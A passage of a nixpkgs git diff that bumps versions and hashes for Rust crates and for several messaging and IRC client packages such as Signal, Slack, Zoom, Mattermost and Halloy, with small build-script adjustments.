[[package]] @@ -3807,9 +3809,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.35.1" +version = "1.36.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" dependencies = [ "backtrace", "bytes", @@ -3842,7 +3844,7 @@ checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -3955,7 +3957,7 @@ checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -4044,18 +4046,18 @@ checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-normalization" -version = "0.1.22" +version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +checksum = "a56d1686db2308d901306f92a263857ef59ea39678a5458e7cb17f01415101f5" dependencies = [ "tinyvec", ] [[package]] name = "unicode-segmentation" -version = "1.10.1" +version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" +checksum = "d4c87d22b6e3f4a18d4d40ef354e97c90fcb14dd91d7dc0aa9d8a1172ebf7202" [[package]] name = "unicode-xid" @@ -4153,9 +4155,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.90" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1223296a201415c7fad14792dbefaace9bd52b62d33453ade1c5b5f07555406" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" dependencies = [ "cfg-if", "wasm-bindgen-macro", @@ -4163,24 +4165,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.90" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fcdc935b63408d58a32f8cc9738a0bffd8f05cc7c002086c6ef20b7312ad9dcd" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-macro" -version = "0.2.90" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3e4c238561b2d428924c49815533a8b9121c664599558a5d9ec51f8a1740a999" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -4188,22 +4190,22 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.90" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bae1abb6806dc1ad9e560ed242107c0f6c84335f1749dd4e8ddb012ebd5e25a7" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.90" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d91413b1c31d7539ba5ef2451af3f0b833a005eb27a631cec32bc0635a8602b" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" [[package]] name = "weezl" @@ -4220,7 +4222,7 @@ dependencies = [ "either", "home", "once_cell", - "rustix 0.38.30", + "rustix 0.38.31", ] [[package]] @@ -4388,18 +4390,18 @@ checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" [[package]] name = "winnow" -version = "0.5.34" +version = "0.5.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7cf47b659b318dccbd69cc4797a39ae128f533dce7902a1096044d1967b9c16" +checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" dependencies = [ "memchr", ] [[package]] name = "x25519-dalek" -version = "2.0.0" +version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb66477291e7e8d2b0ff1bcb900bf29489a9692816d79874bea351e7a8b6de96" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" dependencies = [ "curve25519-dalek", "rand_core", @@ -4409,19 +4411,19 @@ dependencies = [ [[package]] name = "xdg-home" -version = "1.0.0" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2769203cd13a0c6015d515be729c526d041e9cf2c0cc478d57faee85f40c6dcd" +checksum = "21e5a325c3cb8398ad6cf859c1135b25dd29e186679cf2da7581d9679f63b38e" dependencies = [ - "nix", + "libc", "winapi", ] [[package]] name = "zbus" -version = "3.14.1" +version = "3.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "31de390a2d872e4cd04edd71b425e29853f786dc99317ed72d73d6fcf5ebb948" +checksum = "c45d06ae3b0f9ba1fb2671268b975557d8f5a84bb5ec6e43964f87e763d8bca8" dependencies = [ "async-broadcast", "async-process", @@ -4455,9 +4457,9 @@ dependencies = [ [[package]] name = "zbus_macros" -version = "3.14.1" +version = "3.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41d1794a946878c0e807f55a397187c11fc7a038ba5d868e7db4f3bd7760bc9d" +checksum = "b4a1ba45ed0ad344b85a2bb5a1fe9830aed23d67812ea39a586e7d0136439c7d" dependencies = [ "proc-macro-crate 1.3.1", "proc-macro2", @@ -4495,7 +4497,7 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] diff --git a/pkgs/applications/networking/instant-messengers/flare-signal/default.nix b/pkgs/applications/networking/instant-messengers/flare-signal/default.nix index d61bb07d2bcf1..9988352d16145 100644 --- a/pkgs/applications/networking/instant-messengers/flare-signal/default.nix +++ b/pkgs/applications/networking/instant-messengers/flare-signal/default.nix @@ -21,14 +21,14 @@ stdenv.mkDerivation rec { pname = "flare"; - version = "0.12.0"; + version = "0.13.0"; src = fetchFromGitLab { domain = "gitlab.com"; owner = "schmiddi-on-mobile"; repo = "flare"; rev = version; - hash = "sha256-Dg5UhVTmxiwPIbU8fG/ehX9Zp8WI2V+JoOEI7P1Way4="; + hash = "sha256-WfW2xUlF1vCaYFVP6ds06+niULKZgMMxgAOm66LK2xQ="; }; cargoDeps = rustPlatform.importCargoLock { @@ -36,8 +36,8 @@ stdenv.mkDerivation rec { outputHashes = { "curve25519-dalek-4.0.0" = "sha256-KUXvYXeVvJEQ/+dydKzXWCZmA2bFa2IosDzaBL6/Si0="; "libsignal-protocol-0.1.0" = "sha256-FCrJO7porlY5FrwZ2c67UPd4tgN7cH2/3DTwfPjihwM="; - "libsignal-service-0.1.0" = "sha256-lzyUUP1mhxxIU+xCr+5VAoeEO6FlDgeEJtWhm9avJb8="; - "presage-0.6.0-dev" = "sha256-PqMz6jJuL/4LVY3kNFQ9NmKt3D6cwQkGiPs2QJsL01A="; + "libsignal-service-0.1.0" = "sha256-XkCb83IvlnmvhHD8Vi9D5fNuBOoR9yX0/Vlb+YhrDz8="; + "presage-0.6.0-dev" = "sha256-zot92dlGtB7B423BU74oqpPzQKvLm2Dw9P8lCWkbsoE="; }; }; diff --git a/pkgs/applications/networking/instant-messengers/fluffychat/default.nix b/pkgs/applications/networking/instant-messengers/fluffychat/default.nix index 869ed18c2cb30..f3505d9856b23 100644 --- a/pkgs/applications/networking/instant-messengers/fluffychat/default.nix +++ b/pkgs/applications/networking/instant-messengers/fluffychat/default.nix @@ -4,7 +4,7 @@ , imagemagick , mesa , libdrm -, flutter +, flutter316 , pulseaudio , makeDesktopItem , gnome @@ -16,7 +16,7 @@ let libwebrtcRpath = lib.makeLibraryPath [ mesa libdrm ]; pubspecLock = lib.importJSON ./pubspec.lock.json; in -flutter.buildFlutterApplication (rec { +flutter316.buildFlutterApplication (rec { pname = "fluffychat-${targetFlutterPlatform}"; version = "1.17.1"; diff --git a/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix b/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix index 56bc542d42065..7b9246300c06a 100644 --- a/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix +++ b/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix @@ -1,24 +1,24 @@ { lib , stdenv , fetchurl -, electron_26 +, electron_27 , makeWrapper }: let pname = "mattermost-desktop"; - version = "5.5.1"; + version = "5.6.0"; srcs = { "x86_64-linux" = { url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-x64.tar.gz"; - hash = "sha256-bRiO5gYM7nrnkbHBP3B9zAK2YV5POkc3stEsbZJ48VA="; + hash = "sha256-KUF/zH18X+RS8AICBv53JTBpcaokzo92psyoQNmLF/Q="; }; "aarch64-linux" = { url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-arm64.tar.gz"; - hash = "sha256-Z4U6Jbwasra69QPHJ9/7WwMSxh0O9r4QIe/xC3WRf4w="; + hash = "sha256-Zl5PalAles39qSMtt1cytfu4Mheud4+8TTkt7Ohdf/o="; }; }; @@ -52,7 +52,7 @@ stdenv.mkDerivation { substituteInPlace $out/share/applications/Mattermost.desktop \ --replace /share/mattermost-desktop/mattermost-desktop /bin/mattermost-desktop - makeWrapper ${electron_26}/bin/electron $out/bin/${pname} \ + makeWrapper '${lib.getExe electron_27}' $out/bin/${pname} \ --add-flags $out/share/${pname}/app.asar runHook postInstall diff --git a/pkgs/applications/networking/instant-messengers/pidgin/default.nix b/pkgs/applications/networking/instant-messengers/pidgin/default.nix index 1314853ad6684..211c5b49bf9ae 100644 --- a/pkgs/applications/networking/instant-messengers/pidgin/default.nix +++ b/pkgs/applications/networking/instant-messengers/pidgin/default.nix @@ -43,11 +43,11 @@ let unwrapped = stdenv.mkDerivation rec { pname = "pidgin"; - version = "2.14.12"; + version = "2.14.13"; src = fetchurl { url = "mirror://sourceforge/pidgin/pidgin-${version}.tar.bz2"; - sha256 = "sha256-KwUka+IIYF7buTrp7cB5WD1EniqXENttNI0X9ZAgpLc="; + sha256 = "sha256-EgBJ3I4X4JoqfSVq/yGR/4SRq7hAyMfrMZoWHi3xa6g="; }; nativeBuildInputs = [ makeWrapper intltool ]; diff --git a/pkgs/applications/networking/instant-messengers/qq/sources.nix b/pkgs/applications/networking/instant-messengers/qq/sources.nix index eda78b80edef8..0353fcc19fe27 100644 --- a/pkgs/applications/networking/instant-messengers/qq/sources.nix +++ b/pkgs/applications/networking/instant-messengers/qq/sources.nix @@ -1,8 +1,8 @@ # Generated by ./update.sh - do not update manually! -# Last updated: 2024-01-27 +# Last updated: 2024-02-16 { - version = "3.2.5-21159"; - urlhash = "feb78c41"; - arm64_hash = "sha256-3zbhFKQrO1tMSnWJllLJLaVeVpLs44WBbuuyU1LTMIU="; - amd64_hash = "sha256-pX99V18gjlMM6+jC9U7E5YvHDODGsrj0twt9K4rJN4Y="; + version = "3.2.5-21453"; + urlhash = "852276c1"; + arm64_hash = "sha256-g0J1FWG07bkabDHp2nuS48MNut2+N7gk0k5zWcmuQVw="; + amd64_hash = "sha256-6Qe4bP3q9RLEIJn9EfqqYaVTF8FRBNcjtVPl+zY7v5c="; } diff --git a/pkgs/applications/networking/instant-messengers/quaternion/default.nix b/pkgs/applications/networking/instant-messengers/quaternion/default.nix index 133766d8cc0df..5111b7424f44c 100644 --- a/pkgs/applications/networking/instant-messengers/quaternion/default.nix +++ b/pkgs/applications/networking/instant-messengers/quaternion/default.nix @@ -4,7 +4,7 @@ , cmake , wrapQtAppsHook , qtbase -, qtquickcontrols2 +, qtquickcontrols2 ? null # only a separate package on qt5 , qtkeychain , qtmultimedia , qttools @@ -13,15 +13,19 @@ , olm }: -stdenv.mkDerivation rec { +let + inherit (lib) cmakeBool; + +in +stdenv.mkDerivation (finalAttrs: { pname = "quaternion"; - version = "0.0.96-beta4"; + version = "0.0.96.1"; src = fetchFromGitHub { owner = "quotient-im"; repo = "Quaternion"; - rev = "refs/tags/${version}"; - hash = "sha256-yItl31Ze48lRIIey+FlRLMVAkg4mHu8G1sFOceHvTJw="; + rev = finalAttrs.version; + hash = "sha256-lRCSEb/ldVnEv6z0moU4P5rf0ssKb9Bw+4QEssLjuwI="; }; buildInputs = [ @@ -36,8 +40,12 @@ stdenv.mkDerivation rec { nativeBuildInputs = [ cmake qttools wrapQtAppsHook ]; + # qt6 needs UTF + env.LANG = "C.UTF-8"; + cmakeFlags = [ - "-DBUILD_WITH_QT6=OFF" + # drop this from 0.0.97 onwards as it will be qt6 only + (cmakeBool "BUILD_WITH_QT6" ((lib.versions.major qtbase.version) == "6")) ]; postInstall = @@ -55,6 +63,6 @@ stdenv.mkDerivation rec { homepage = "https://matrix.org/ecosystem/clients/quaternion/"; license = licenses.gpl3; maintainers = with maintainers; [ peterhoeg ]; - inherit (qtquickcontrols2.meta) platforms; + inherit (qtbase.meta) platforms; }; -} +}) diff --git a/pkgs/applications/networking/instant-messengers/rocketchat-desktop/default.nix b/pkgs/applications/networking/instant-messengers/rocketchat-desktop/default.nix index a05df511ab0af..e46f5824af0f2 100644 --- a/pkgs/applications/networking/instant-messengers/rocketchat-desktop/default.nix +++ b/pkgs/applications/networking/instant-messengers/rocketchat-desktop/default.nix @@ -4,11 +4,11 @@ let in stdenv.mkDerivation rec { pname = "rocketchat-desktop"; - version = "3.9.11"; + version = "3.9.14"; src = fetchurl { url = "https://github.com/RocketChat/Rocket.Chat.Electron/releases/download/${version}/rocketchat-${version}-linux-amd64.deb"; - hash = "sha256-jyBHXzzFkCHGy8tdnE/daNbADYYAINBlC5td+wHOl4k="; + hash = "sha256-1ZNxdzkkhsDPbwyTTTKmF7p10VgGRvRw31W91m1H4YM="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop-aarch64.nix b/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop-aarch64.nix index c1ccec86b366e..46c049b9d2f22 100644 --- a/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop-aarch64.nix +++ b/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop-aarch64.nix @@ -2,7 +2,7 @@ callPackage ./generic.nix { } rec { pname = "signal-desktop"; dir = "Signal"; - version = "6.44.0"; + version = "6.46.0"; url = "https://github.com/0mniteck/Signal-Desktop-Mobian/raw/${version}/builds/release/signal-desktop_${version}_arm64.deb"; - hash = "sha256-M4Xiy8cDQciMzgGl1/eeKZjEaelVtkk6JXJYBP4ua2s="; + hash = "sha256-rHmG2brzlQtYd3l5EFhjndPF5T7nQWzUhEe7LsEFVpc="; } diff --git a/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop-beta.nix b/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop-beta.nix index 33f78a190e8d8..1df4202a5ccc8 100644 --- a/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop-beta.nix +++ b/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop-beta.nix @@ -1,8 +1,8 @@ { callPackage }: -callPackage ./generic.nix {} rec { +callPackage ./generic.nix { } rec { pname = "signal-desktop-beta"; dir = "Signal Beta"; - version = "6.48.0-beta.1"; + version = "7.2.0-beta.1"; url = "https://updates.signal.org/desktop/apt/pool/s/signal-desktop-beta/signal-desktop-beta_${version}_amd64.deb"; - hash = "sha256-lDiab7XMXcg0XI4+7DJr5PWBAWes3cnL6oxiLy63eqY="; + hash = "sha256-ZCTCcNMrZwadAbs+1sf3A+S1FRjTCb1lYk0Vg5rxqXc="; } diff --git a/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop.nix b/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop.nix index 9a129a9ce6285..f262f2c97b6fb 100644 --- a/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop.nix +++ b/pkgs/applications/networking/instant-messengers/signal-desktop/signal-desktop.nix @@ -1,8 +1,8 @@ { callPackage }: -callPackage ./generic.nix {} rec { +callPackage ./generic.nix { } rec { pname = "signal-desktop"; dir = "Signal"; - version = "6.46.0"; + version = "7.1.1"; url = "https://updates.signal.org/desktop/apt/pool/s/signal-desktop/signal-desktop_${version}_amd64.deb"; - hash = "sha256-6s6wFg2mJRaxEyWkZrCefspAdlcDwbjxXpx5CMNGW94="; + hash = "sha256-YQLDm6T67vio66PLehlLQDxsAkhm22dhpjUR1eBwsg8="; } diff --git a/pkgs/applications/networking/instant-messengers/signalbackup-tools/default.nix b/pkgs/applications/networking/instant-messengers/signalbackup-tools/default.nix index 0854e5300a667..631bc6b292f35 100644 --- a/pkgs/applications/networking/instant-messengers/signalbackup-tools/default.nix +++ b/pkgs/applications/networking/instant-messengers/signalbackup-tools/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "signalbackup-tools"; - version = "20240205"; + version = "20240306"; src = fetchFromGitHub { owner = "bepaald"; repo = pname; rev = version; - hash = "sha256-Iwos+WJrCWXbNpuaZTLyc8OEtfMA0EF1DIyLNlsZSx4="; + hash = "sha256-KN4FkqgWj92LqPtwU/Wyk1qe8AyUsWlobypq5WgRVyI="; }; postPatch = '' diff --git a/pkgs/applications/networking/instant-messengers/slack/default.nix b/pkgs/applications/networking/instant-messengers/slack/default.nix index 7012b8e8f43e4..b19d1f6f8a010 100644 --- a/pkgs/applications/networking/instant-messengers/slack/default.nix +++ b/pkgs/applications/networking/instant-messengers/slack/default.nix @@ -181,7 +181,11 @@ let --replace /usr/bin/ $out/bin/ \ --replace /usr/share/pixmaps/slack.png slack \ --replace bin/slack "bin/slack -s" - + '' + lib.optionalString stdenv.hostPlatform.isLinux '' + # Prevent Un-blacklist pipewire integration to enable screen sharing on wayland. + # https://github.com/flathub/com.slack.Slack/issues/101#issuecomment-1807073763 + sed -i -e 's/,"WebRTCPipeWireCapturer"/,"LebRTCPipeWireCapturer"/' $out/lib/slack/resources/app.asar + '' + '' runHook postInstall ''; }; diff --git a/pkgs/applications/networking/instant-messengers/teams-for-linux/default.nix b/pkgs/applications/networking/instant-messengers/teams-for-linux/default.nix index 98edbce3cb49f..67fa404adb679 100644 --- a/pkgs/applications/networking/instant-messengers/teams-for-linux/default.nix +++ b/pkgs/applications/networking/instant-messengers/teams-for-linux/default.nix @@ -19,18 +19,18 @@ stdenv.mkDerivation (finalAttrs: { pname = "teams-for-linux"; - version = "1.4.10"; + version = "1.4.13"; src = fetchFromGitHub { owner = "IsmaelMartinez"; repo = "teams-for-linux"; rev = "v${finalAttrs.version}"; - hash = "sha256-dR9YJJBBxvnJkD42+MwIql3B1dlA6WUSLJ//lW22mmc="; + hash = "sha256-6e3AFfjm/ajC+StldG92FyC2C5usAOUoZSqihQC9fKw="; }; offlineCache = fetchYarnDeps { yarnLock = "${finalAttrs.src}/yarn.lock"; - hash = "sha256-Z2vnLr14F/Etuq9yWH7ygQwa54an7v99LbU3gPcEuII="; + hash = "sha256-wyQi1F7TV4TQZFdqRLfo4f90pCaJeRrmNgU8UfY9FjQ="; }; nativeBuildInputs = [ yarn prefetch-yarn-deps nodejs copyDesktopItems makeWrapper ]; diff --git a/pkgs/applications/networking/instant-messengers/twitch-tui/default.nix b/pkgs/applications/networking/instant-messengers/twitch-tui/default.nix index 0c09496883826..982b41b27946f 100644 --- a/pkgs/applications/networking/instant-messengers/twitch-tui/default.nix +++ b/pkgs/applications/networking/instant-messengers/twitch-tui/default.nix @@ -11,16 +11,16 @@ rustPlatform.buildRustPackage rec { pname = "twitch-tui"; - version = "2.6.3"; + version = "2.6.5"; src = fetchFromGitHub { owner = "Xithrius"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-h8qpsrMFFb49yfNb5mKEYRpul0hB0m1rDCvVW6jW+Pg="; + hash = "sha256-eJw3C38+FdiMLE+x+akIo8c/VqsbWVbcGJj1Lb2vImE="; }; - cargoHash = "sha256-L7psqmU4Zd7c0mbd4pK/tmPslTaxIhQoWtN0/RRMerA="; + cargoHash = "sha256-zhRrZr5RXKhjZCIjN3lRJ8BJlW/zxKJUzWtpOygX9oo="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/applications/networking/instant-messengers/zoom-us/default.nix b/pkgs/applications/networking/instant-messengers/zoom-us/default.nix index dcd573e69d30e..d12bea03460e1 100644 --- a/pkgs/applications/networking/instant-messengers/zoom-us/default.nix +++ b/pkgs/applications/networking/instant-messengers/zoom-us/default.nix @@ -48,23 +48,23 @@ let # and often with different versions. We write them on three lines # like this (rather than using {}) so that the updater script can # find where to edit them. - versions.aarch64-darwin = "5.17.5.29101"; - versions.x86_64-darwin = "5.17.5.29101"; - versions.x86_64-linux = "5.17.5.2543"; + versions.aarch64-darwin = "5.17.10.30974"; + versions.x86_64-darwin = "5.17.10.30974"; + versions.x86_64-linux = "5.17.10.3512"; srcs = { aarch64-darwin = fetchurl { url = "https://zoom.us/client/${versions.aarch64-darwin}/zoomusInstallerFull.pkg?archType=arm64"; name = "zoomusInstallerFull.pkg"; - hash = "sha256-Zq/8r4Ny9m+Ym6YMm49iMoITvkGO9q1DxQ0IqHC/7Us="; + hash = "sha256-JWGy8je6hFDTSKPx4GAUDMJdi5/zKoj4KK5w6E0pcsI="; }; x86_64-darwin = fetchurl { url = "https://zoom.us/client/${versions.x86_64-darwin}/zoomusInstallerFull.pkg"; - hash = "sha256-/GTBPIswV+YSvnbrSYefrLfcv5eXsRCe3vaTDGmptl8="; + hash = "sha256-lO0fyW5catdgKZ7cAQhdAbfQW+EewdCjTne+ZC3UW3w="; }; x86_64-linux = fetchurl { url = "https://zoom.us/client/${versions.x86_64-linux}/zoom_x86_64.pkg.tar.xz"; - hash = "sha256-R8LHyL5ojnaLBk00W997PtnKzDwMaADIpYClKDYkJcQ="; + hash = "sha256-dXpfgouZjd+0YyHz1c/7VL3a1SATAX8BpkR4KBeEDbc="; }; }; diff --git a/pkgs/applications/networking/irc/bip/default.nix b/pkgs/applications/networking/irc/bip/default.nix index f1a6112636142..2eb1b5d8607f1 100644 --- a/pkgs/applications/networking/irc/bip/default.nix +++ b/pkgs/applications/networking/irc/bip/default.nix @@ -1,9 +1,8 @@ { lib , stdenv , fetchurl +, autoreconfHook , pkg-config -, autoconf -, automake , bison , flex , openssl @@ -21,12 +20,17 @@ stdenv.mkDerivation { outputs = [ "out" "man" "doc" ]; - nativeBuildInputs = [ pkg-config autoconf automake ]; + postPatch = '' + # Drop blanket -Werror to avoid build failure on fresh toolchains + # and libraries. Without the cnage build fails on gcc-13 and on + # openssl-3. + substituteInPlace src/Makefile.am --replace-fail ' -Werror ' ' ' + ''; + + nativeBuildInputs = [ autoreconfHook pkg-config ]; buildInputs = [ bison flex openssl ]; - # FIXME: Openssl3 deprecated PEM_read_DHparams and DH_free - # https://projects.duckcorp.org/issues/780 - env.NIX_CFLAGS_COMPILE = "-Wno-error=deprecated-declarations"; + enableParallelBuilding = true; meta = { description = "An IRC proxy (bouncer)"; diff --git a/pkgs/applications/networking/irc/halloy/default.nix b/pkgs/applications/networking/irc/halloy/default.nix index 3d7faf5ac3482..df0113f258728 100644 --- a/pkgs/applications/networking/irc/halloy/default.nix +++ b/pkgs/applications/networking/irc/halloy/default.nix @@ -15,13 +15,13 @@ rustPlatform.buildRustPackage rec { pname = "halloy"; - version = "2024.1"; + version = "2024.2"; src = fetchFromGitHub { owner = "squidowl"; repo = "halloy"; rev = "refs/tags/${version}"; - hash = "sha256-mOP6Xxo1p3Mi36RmraMe4qpqJGQqHs/7fZzruAODr1E="; + hash = "sha256-SzjMoXISd4fMHoenF1CK3Yn8bfLq9INuOmt86QTcgk8="; }; cargoLock = { @@ -49,6 +49,7 @@ rustPlatform.buildRustPackage rec { darwin.apple_sdk.frameworks.AppKit darwin.apple_sdk.frameworks.CoreFoundation darwin.apple_sdk.frameworks.CoreGraphics + darwin.apple_sdk.frameworks.Cocoa darwin.apple_sdk.frameworks.Foundation darwin.apple_sdk.frameworks.Metal darwin.apple_sdk.frameworks.QuartzCore @@ -72,6 +73,15 @@ rustPlatform.buildRustPackage rec { }) ]; + postFixup = lib.optional stdenv.isLinux ( + let + rpathWayland = lib.makeLibraryPath [ wayland vulkan-loader libxkbcommon ]; + in + '' + rpath=$(patchelf --print-rpath $out/bin/halloy) + patchelf --set-rpath "$rpath:${rpathWayland}" $out/bin/halloy + ''); + postInstall = '' install -Dm644 assets/linux/org.squidowl.halloy.png $out/share/icons/hicolor/128x128/apps/org.squidowl.halloy.png ''; diff --git a/pkgs/applications/networking/irc/srain/default.nix b/pkgs/applications/networking/irc/srain/default.nix index 2a9ac4b0cdabe..a035e6113616b 100644 --- a/pkgs/applications/networking/irc/srain/default.nix +++ b/pkgs/applications/networking/irc/srain/default.nix @@ -6,6 +6,7 @@ , libconfig , libsoup , libsecret +, libayatana-appindicator , openssl , gettext , glib @@ -20,13 +21,13 @@ stdenv.mkDerivation rec { pname = "srain"; - version = "1.5.1"; + version = "1.6.0"; src = fetchFromGitHub { owner = "SrainApp"; repo = "srain"; rev = version; - sha256 = "sha256-PiLjlsYmgxXpvcqDkwS/6WmTEimMH8+OndUG2Hehdm0="; + hash = "sha256-IGAb24aDeBXyxuyb/EWUetQZJg28GJLT0WK7ZmmHgyg="; }; nativeBuildInputs = [ @@ -47,6 +48,7 @@ stdenv.mkDerivation rec { libconfig libsoup libsecret + libayatana-appindicator openssl ]; diff --git a/pkgs/applications/networking/irc/weechat/scripts/wee-slack/default.nix b/pkgs/applications/networking/irc/weechat/scripts/wee-slack/default.nix index c1b9b9fd60631..46d676682b5bf 100644 --- a/pkgs/applications/networking/irc/weechat/scripts/wee-slack/default.nix +++ b/pkgs/applications/networking/irc/weechat/scripts/wee-slack/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "wee-slack"; - version = "2.10.1"; + version = "2.10.2"; src = fetchFromGitHub { repo = "wee-slack"; owner = "wee-slack"; rev = "v${version}"; - sha256 = "sha256-J4s7+JFd/y1espp3HZCs48++fhN6lmpaglGkgomtf3o="; + sha256 = "sha256-EtPhaNFYDxxSrSLXHHnY4ARpRycNNxbg5QPKtnPem04="; }; patches = [ diff --git a/pkgs/applications/networking/libcoap/default.nix b/pkgs/applications/networking/libcoap/default.nix index e3038e83ad072..1c0fece2edf46 100644 --- a/pkgs/applications/networking/libcoap/default.nix +++ b/pkgs/applications/networking/libcoap/default.nix @@ -4,13 +4,13 @@ }: stdenv.mkDerivation rec { pname = "libcoap"; - version = "4.3.4"; + version = "4.3.4a"; src = fetchFromGitHub { repo = "libcoap"; owner = "obgm"; rev = "v${version}"; fetchSubmodules = true; - sha256 = "sha256-x8r5fHY8J0NYE7nPSw/bPpK/iTLKioKpQKmVw73KOtg="; + sha256 = "sha256-SzuXFn4rihZIHxKSH5waC5362mhsOtBdRatIGI6nv4I="; }; nativeBuildInputs = [ automake diff --git a/pkgs/applications/networking/localsend/default.nix b/pkgs/applications/networking/localsend/default.nix index d7758fb325a46..95506e98dc9a0 100644 --- a/pkgs/applications/networking/localsend/default.nix +++ b/pkgs/applications/networking/localsend/default.nix @@ -11,7 +11,7 @@ let pname = "localsend"; - version = "1.13.1"; + version = "1.14.0"; linux = flutter313.buildFlutterApplication { inherit pname version; @@ -20,7 +20,7 @@ let owner = pname; repo = pname; rev = "v${version}"; - hash = "sha256-GJHCKNtKvwQAG3AUkhk0G4k/qsmLOUQAyyi9Id7NJh8="; + hash = "sha256-CO0uFcZnOfE31EZxRUpgtod3+1lyXPpbytHB45DEM98="; }; sourceRoot = "source/app"; @@ -57,6 +57,8 @@ let categories = [ "Network" ]; }; + passthru.updateScript = ./update.sh; + meta = meta // { mainProgram = "localsend_app"; }; @@ -67,7 +69,7 @@ let src = fetchurl { url = "https://github.com/localsend/localsend/releases/download/v${version}/LocalSend-${version}.dmg"; - hash = "sha256-YCy6NlmEPsOFtIZ27mOYDnMPd1tj3YO2bwNDdM3K/uY="; + hash = "sha256-L7V48QoOA0cjx45n+9Xav/zzCzCsZB3TBip0WGusMXg="; }; nativeBuildInputs = [ undmg ]; diff --git a/pkgs/applications/networking/localsend/pubspec.lock.json b/pkgs/applications/networking/localsend/pubspec.lock.json index 204b031d81851..2f16aafd6ce2a 100644 --- a/pkgs/applications/networking/localsend/pubspec.lock.json +++ b/pkgs/applications/networking/localsend/pubspec.lock.json @@ -44,11 +44,11 @@ "dependency": "transitive", "description": { "name": "archive", - "sha256": "7b875fd4a20b165a3084bd2d210439b22ebc653f21cea4842729c0c30c82596b", + "sha256": "22600aa1e926be775fa5fe7e6894e7fb3df9efda8891c73f70fb3262399a432d", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.4.9" + "version": "3.4.10" }, "args": { "dependency": "transitive", @@ -124,31 +124,31 @@ "dependency": "transitive", "description": { "name": "build_resolvers", - "sha256": "64e12b0521812d1684b1917bc80945625391cb9bdd4312536b1d69dcb6133ed8", + "sha256": "339086358431fa15d7eca8b6a36e5d783728cf025e559b834f4609a1fcfb7b0a", 